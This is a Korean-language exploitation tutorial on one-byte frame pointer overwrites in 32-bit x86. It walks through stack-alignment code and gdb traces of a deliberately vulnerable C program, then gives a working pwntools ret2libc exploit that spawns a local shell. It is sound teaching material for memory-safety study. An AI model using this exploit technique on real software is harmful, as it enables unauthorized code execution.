Excuse the ads! We need some help to keep our site up.
List
Frame Pointer Overwrite(One-byte Overflow) - x86
x86에서도 x64 환경과 같이 Frame Pointer를 1byte 덮어써서 코드의 흐름을 변경 할 수 있습니다.
32 bit Binary의 경우 64bit와 달리 스택을 16 바이트 경계에 정렬하는 코드가 추가됩니다.
x86-64 ABI는 16 바이트 스택 정렬이 필요합니다.
ABI와 호환되지 않는 환경에서 스택 공간을 제한해서 사용하기 위해서 입니다.
펜티엄 III에서 SSE(Streaming SIMD Extension) 데이터 유형 __m128이 16 바이트 정렬되지 않으면 올바르게 작동하지 않을 수 있습니다.
Stack alignment
Stack alignment at 16-byte boundary
- 다음과 같이 16byte 경계에 스택을 정렬하기 위한 코드는 다음과 같이 동작합니다.
- main() 함수가 시작 되는 부분에서는 이전 함수에서 사용하던 Frame Pointer를 Stack에 저장하기 전에 Stack alignment을 진행합니다.
- main() 함수가 종료 되는 부분에서는 다음과 같이 동작 합니다.
- leave 명령어 실행 전, ebp 레지스터에 저장 된 주소에 0x4를 뺀 영역에 저장된 값을 ecx 레지스터에 저장됩니다.
- leave 명령어 실행 후, ecx 레지스터에 저장 된 주소에 0x4를 뺀 주소 값을 esp 레지스터에 저장됩니다.
- 여기가 중요합니다.
- Stack alignment 코드가 없을 경우에는 esp 레지스터의 값이 leave 코드에 의해 변경됩니다.
- Stack alignment 코드 적용되면 ret 코드가 실행되기 전에 "lea esp,[ecx-0x4]" 코드에 의해 esp 레지스터의 값이 변경됩니다.
- 하지만 ecx레지스터의 값은 leave 코드가 실행 되기전에 ebp 레지스터를 이용해 값을 저장하기 때문에 esp 레지스터의 값을 변경 할 수 있습니다.
Stack alignment at 16-byte, 4-byte boundary
Stack alignment(16byte) | Stack alignment(4byte) | |
---|---|---|
main() | >> 0x080485d3 <+0>: lea ecx,[esp+0x4] >> 0x080485d7 <+4>: and esp,0xfffffff0 >> 0x080485da <+7>: push DWORD PTR [ecx-0x4] 0x080485dd <+10>: push ebp 0x080485de <+11>: mov ebp,esp 0x080485e0 <+13>: push ecx 0x080485e1 <+14>: sub esp,0x4 0x080485e4 <+17>: mov eax,ecx 0x080485e6 <+19>: cmp DWORD PTR [eax],0x1 0x080485e9 <+22>: jg 0x8048605 <main+50> 0x080485eb <+24>: sub esp,0xc 0x080485ee <+27>: push 0x80486d4 0x080485f3 <+32>: call 0x8048430 <puts@plt> 0x080485f8 <+37>: add esp,0x10 0x080485fb <+40>: sub esp,0xc 0x080485fe <+43>: push 0x0 0x08048600 <+45>: call 0x8048440 <exit@plt> 0x08048605 <+50>: call 0x804857b <vuln> 0x0804860a <+55>: nop >> 0x0804860b <+56>: mov ecx,DWORD PTR [ebp-0x4] 0x0804860e <+59>: leave >> 0x0804860f <+60>: lea esp,[ecx-0x4] 0x08048612 <+63>: ret | 0x080485c7 <+0>: push ebp 0x080485c8 <+1>: mov ebp,esp 0x080485ca <+3>: cmp DWORD PTR [ebp+0x8],0x1 0x080485ce <+7>: jg 0x80485e4 <main+29> 0x080485d0 <+9>: push 0x80486a4 0x080485d5 <+14>: call 0x8048430 <puts@plt> 0x080485da <+19>: add esp,0x4 0x080485dd <+22>: push 0x0 0x080485df <+24>: call 0x8048440 <exit@plt> 0x080485e4 <+29>: call 0x804857b <vuln> 0x080485e9 <+34>: nop 0x080485ea <+35>: leave 0x080485eb <+36>: ret |
Proof of concept
Example code
- 다음 코드를 이용하여 Frame Pointer Overwrite의 동작을 확인하겠습니다.
- 해당 프로그램은 Stack address, Libc address를 출력합니다.
- Stack address: buf
- Libc address: printf_addr
- read()함수를 이용해 사용자로 부터 63개의 문자를 입력 받습니다.
- 이로 인해 Frame pointer영역에 1byte를 Overwrite 할 수 있습니다.
- 해당 프로그램은 Stack address, Libc address를 출력합니다.
fpo.c
//gcc -m32 -fno-stack-protector -o fpo fpo.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> void vuln(){ char buf[50]; printf("buf[50] address : %p\n",buf); void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 63); } void main(int argc, char *argv[]){ if(argc<2){ printf("argv error\n"); exit(0); } vuln(); }
Stack alignment
- 다음과 같이 Break pointer를 설정합니다.
- 0x080485d3: main() 함수의 Stack alignment를 위한 코드가 실행 되기 전
Breakpoints
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo Reading symbols from ./fpo...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x080485d3 <+0>: lea ecx,[esp+0x4] 0x080485d7 <+4>: and esp,0xfffffff0 0x080485da <+7>: push DWORD PTR [ecx-0x4] 0x080485dd <+10>: push ebp 0x080485de <+11>: mov ebp,esp 0x080485e0 <+13>: push ecx 0x080485e1 <+14>: sub esp,0x4 0x080485e4 <+17>: mov eax,ecx 0x080485e6 <+19>: cmp DWORD PTR [eax],0x1 0x080485e9 <+22>: jg 0x8048605 <main+50> 0x080485eb <+24>: sub esp,0xc 0x080485ee <+27>: push 0x80486d4 0x080485f3 <+32>: call 0x8048430 <puts@plt> 0x080485f8 <+37>: add esp,0x10 0x080485fb <+40>: sub esp,0xc 0x080485fe <+43>: push 0x0 0x08048600 <+45>: call 0x8048440 <exit@plt> 0x08048605 <+50>: call 0x804857b <vuln> 0x0804860a <+55>: nop 0x0804860b <+56>: mov ecx,DWORD PTR [ebp-0x4] 0x0804860e <+59>: leave 0x0804860f <+60>: lea esp,[ecx-0x4] 0x08048612 <+63>: ret End of assembler dump. gdb-peda$ b *0x080485d3 Breakpoint 1 at 0x80485d3 gdb-peda$
- 다음과 같이 Stack alignment를 확인 할 수 있습니다.
- ESP 레지스터에 저장된 값에 "0x4"를 더한 주소를 ECX 레지스터에 저장합니다.
- ESP 레지스터에 해당 레지스터에 저장된 값과 0xfffffff0를 AND 연산한 값을 저장합니다.
- 0xffffd59c & 0xfffffff0 = 0xffffd590
- 이로 인해 Stack 주소를 16byte 경계에 맞춰집니다.
- 0xffffd59c & 0xfffffff0 = 0xffffd590
- Stack에 [ECX - 0x4] 주소에 저장된 값을 저장합니다.
- [ECX - 0x4] 영역에 저장된 값은 0xf7e18637이며, 해당 값은 main() 함수가 종료되고 돌아갈 Return address 입니다.
Stack alignment at 16-byte boundary
gdb-peda$ r AAAA Starting program: /home/lazenca0x0/Exploit/FPO/fpo AAAA Breakpoint 1, 0x080485d3 in main () gdb-peda$ i r esp esp 0xffffd59c 0xffffd59c gdb-peda$ p/x 0xffffd59c + 0x4 $1 = 0xffffd5a0 gdb-peda$ ni 0x080485d7 in main () gdb-peda$ i r esp esp 0xffffd59c 0xffffd59c gdb-peda$ p/x 0xffffd59c & 0xfffffff0 $2 = 0xffffd590 gdb-peda$ ni 0x080485da in main () gdb-peda$ i r esp esp 0xffffd590 0xffffd590 gdb-peda$ i r ecx ecx 0xffffd5a0 0xffffd5a0 gdb-peda$ x/wx 0xffffd5a0 - 0x4 0xffffd59c: 0xf7e18637 gdb-peda$ x/i 0xf7e18637 0xf7e18637 <__libc_start_main+247>: add esp,0x10 gdb-peda$
Change the flow of code
- 다음과 같이 Break pointer를 설정합니다.
- 0x0804857e: vuln() 함수에서 사용 할 Fream Pointer를 EBP 레지스터에 저장한 후
- 0x080485d1: vuln() 함수에서 leave 명령어 호출
- 0x0804860b: main() 함수의 "mov ecx,DWORD PTR [ebp-0x4]" 코드
- 0x0804857e: vuln() 함수에서 사용 할 Fream Pointer를 EBP 레지스터에 저장한 후
Breakpoints
gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804857b <+0>: push ebp 0x0804857c <+1>: mov ebp,esp 0x0804857e <+3>: sub esp,0x48 0x08048581 <+6>: sub esp,0x8 0x08048584 <+9>: lea eax,[ebp-0x3e] 0x08048587 <+12>: push eax 0x08048588 <+13>: push 0x80486a0 0x0804858d <+18>: call 0x8048420 <printf@plt> 0x08048592 <+23>: add esp,0x10 0x08048595 <+26>: sub esp,0x8 0x08048598 <+29>: push 0x80486b6 0x0804859d <+34>: push 0xffffffff 0x0804859f <+36>: call 0x8048460 <dlsym@plt> 0x080485a4 <+41>: add esp,0x10 0x080485a7 <+44>: mov DWORD PTR [ebp-0xc],eax 0x080485aa <+47>: sub esp,0x8 0x080485ad <+50>: push DWORD PTR [ebp-0xc] 0x080485b0 <+53>: push 0x80486bd 0x080485b5 <+58>: call 0x8048420 <printf@plt> 0x080485ba <+63>: add esp,0x10 0x080485bd <+66>: sub esp,0x4 0x080485c0 <+69>: push 0x3f 0x080485c2 <+71>: lea eax,[ebp-0x3e] 0x080485c5 <+74>: push eax 0x080485c6 <+75>: push 0x0 0x080485c8 <+77>: call 0x8048410 <read@plt> 0x080485cd <+82>: add esp,0x10 0x080485d0 <+85>: nop 0x080485d1 <+86>: leave 0x080485d2 <+87>: ret End of assembler dump. gdb-peda$ b *0x0804857e Breakpoint 2 at 0x804857e gdb-peda$ b *0x080485d1 Breakpoint 3 at 0x80485d1 gdb-peda$ b *0x0804860b Breakpoint 4 at 0x804860b gdb-peda$
- 다음과 같이 vuln() 함수에서 사용할 Frame Pointer를 확인 할 수 있습니다.
- vuln() 함수에서 사용할 Frame Pointer의 주소는 0xffffd578 입니다.
- 해당 영역에는 다음과 같은 정보가 저장되어 있습니다.
- 0xffffd588 : main() 함수의 Frame Pointer
- 0x0804860a: vuln() 함수 종료 후 이동할 Return Address
- vuln() 함수에서 사용할 Frame Pointer의 주소는 0xffffd578 입니다.
Check Frame Pointer of vuln() function
gdb-peda$ c Continuing. Breakpoint 2, 0x0804857e in vuln () gdb-peda$ i r ebp ebp 0xffffd578 0xffffd578 gdb-peda$ x/2wx 0xffffd578 0xffffd578: 0xffffd588 0x0804860a gdb-peda$
- 다음과 같이 Overflow를 확인 할 수 있습니다.
- 문자 63개를 입력하여 main() 함수의 Frame Pointer 주소 값이 1byte 변경되었습니다.
- 0xffffd588 → 0xffffd550
- 해당 값은 leave 명령어에 의해 EBP 레지스터에 저장됩니다.
- 문자 63개를 입력하여 main() 함수의 Frame Pointer 주소 값이 1byte 변경되었습니다.
Overwrite to Frame Pointer of main() function
gdb-peda$ c Continuing. buf[50] address : 0xffffd53a Printf() address : 0xf7e49020 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP Breakpoint 3, 0x080485d1 in vuln () gdb-peda$ P $3 = 0xffffd590 gdb-peda$ i r ebp ebp 0xffffd578 0xffffd578 gdb-peda$ x/2wx 0xffffd578 0xffffd578: 0xffffd550 0x0804860a gdb-peda$ ni 0x080485d2 in main () gdb-peda$ i r ebp ebp 0xffffd550 0xffffd550 gdb-peda$
- 다음과 같이 코드의 흐름이 변경됩니다.
- leave 명령어로 인해 EBP 레지스터의 값은 ESP 레지스터에 저장되며, 이로 인해 프로그램의 흐름이 변경될 수 있습니다.
- "mov ecx,DWORD PTR [ebp-0x4]" 코드에 의해 [EBP 레지스터에 저장된 주소 - 0x4] 영역에 저장된 값을 ECX 레지스터에 저장합니다.
- [0xffffd550 - 0x4] 에 저장된 값은 0x46464545 입니다.
- leave 명령어로 인해 ESP, EBP 레지스터의 값이 변경됩니다.
- "lea esp,[ecx-0x4]" 코드에 의해 [ECX - 0x4] 연산된 값을 ESP 레지스터에 저장합니다.
- ESP 레지스터의 값이 leave 코드에 의해 변경되는 것이 아니라 "lea esp,[ecx-0x4]" 코드에 의해 변경됩니다.
- 즉, Stack alignment 관련 코드가 추가되어도 코드의 흐름은 변경 할 수 있습니다.
Change the flow of code
gdb-peda$ c Continuing. Breakpoint 4, 0x0804860b in main () gdb-peda$ i r ebp ebp 0xffffd550 0xffffd550 gdb-peda$ x/wx 0xffffd550 - 0x4 0xffffd54c: 0x46464545 gdb-peda$ ni 0x0804860e in main () gdb-peda$ i r ecx ecx 0x46464545 0x46464545 gdb-peda$ c Continuing. Program received signal SIGSEGV, Segmentation fault. Stopped reason: SIGSEGV 0x08048612 in main () gdb-peda$ i r esp esp 0x46464541 0x46464541 gdb-peda$
Exploit
exploit.py
from pwn import * p = process(['./fpo','AAAA']) p.recvuntil('buf[50] address : ') tmp = p.recv(10) stackAddr = int(tmp,16) stackAddr += 0x8 onebyte = int(tmp[8:11],16) onebyte += 0x4 p.recvuntil('Printf() address : ') libc = p.recvuntil('\n') libc = int(libc,16) libcBase = libc - 0x49020 sysAddr = libcBase + 0x3a940 exit = libcBase + 0x2e7b0 binsh = libcBase + 0x15902b print "StackAddr : " + hex(stackAddr) print "onebyte : " + hex(onebyte) print "libc base : " + hex(libcBase) print "system() : " +hex(sysAddr) print "exit() : " +hex(exit) print "binsh : " + hex(binsh) exploit = p32(stackAddr) exploit += p32(sysAddr) exploit += p32(exit) exploit += p32(binsh) exploit += '\x90' * (62 - len(exploit)) exploit += p32(onebyte) p.send(exploit) p.interactive()
python Exploit.py
lazenca0x0@ubuntu:~/Exploit/FPO$ python exploit.py [+] Starting local process './fpo': pid 4830 StackAddr : 0xffc98542 onebyte : 0x3e libc base : 0xf7d8d000 system() : 0xf7dc7940 exit() : 0xf7dbb7b0 binsh : 0xf7ee602b [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
Related site
- https://stackoverflow.com/questions/1147623/trying-to-understand-the-main-disassembly-first-instructions
- https://gcc.gnu.org/onlinedocs/gcc-5.5.0/gcc/x86-Options.html#x86-Options
- https://gcc.gnu.org/bugzilla/show_bug.cgi?id=38496
- https://gcc.gnu.org/bugzilla/show_bug.cgi?id=27537